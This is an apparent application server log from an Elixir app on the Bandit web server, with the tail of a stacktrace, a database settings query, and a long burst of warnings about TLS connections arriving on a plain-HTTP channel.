    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 06:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=405.2ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 06:53:49.730000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.731000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.731000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.732000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.732000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.731000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.732000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.738000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.739000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.739000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.739000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.739000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.740000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.744000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.745000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.745000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.745000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.747000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.747000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.747000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.747000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.748000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.758000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.759000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.758000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.759000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.759000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.759000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.759000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.758000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.760000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.758000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.761000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.761000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.760000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.763000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.763000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.762000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.765000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.766000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.766000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.766000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.766000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.766000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.766000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.767000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.767000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.767000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.767000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.916000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.916000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.918000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.918000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.919000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.919000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.918000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.924000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.926000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.927000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.927000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.927000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.927000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.930000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.930000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.932000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.932000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.933000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.934000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.934000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.934000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.935000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.944000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.945000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.946000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.946000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.946000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.947000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.947000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.947000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.947000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.948000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.948000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.948000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.948000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.949000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.949000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.950000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.951000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.952000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.952000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.952000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.953000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.977000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.980000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.980000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.982000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.982000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:49.982000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.102000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.102000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.104000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.104000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.104000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.105000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.106000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.111000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.112000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.112000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.113000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.114000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.114000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.116000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.116000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.117000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.118000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.118000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.119000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.119000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.119000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.121000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.131000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.131000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.132000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.132000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.132000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.132000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.133000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.133000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.134000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.134000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.134000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.135000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.134000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.135000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.135000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.134000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.137000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.139000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.139000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.139000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.139000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.163000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.166000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.167000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.167000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.168000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.168000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.289000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.290000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.291000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.291000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.291000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.291000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.292000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.297000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.298000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.298000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.299000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.300000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.300000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.301000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.303000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.304000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.304000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.305000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.305000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.305000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.306000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.306000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.317000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.318000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.317000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.317000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.318000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.318000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.319000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.319000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.320000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.319000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.320000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.320000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.322000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.322000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.322000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.322000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.323000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.325000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.325000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.326000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.326000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.350000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.353000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.353000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.354000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.354000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.354000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.476000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.477000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.477000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.477000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.478000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.478000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.478000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.485000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.485000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.486000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.486000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.486000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.486000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.488000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.489000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.491000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
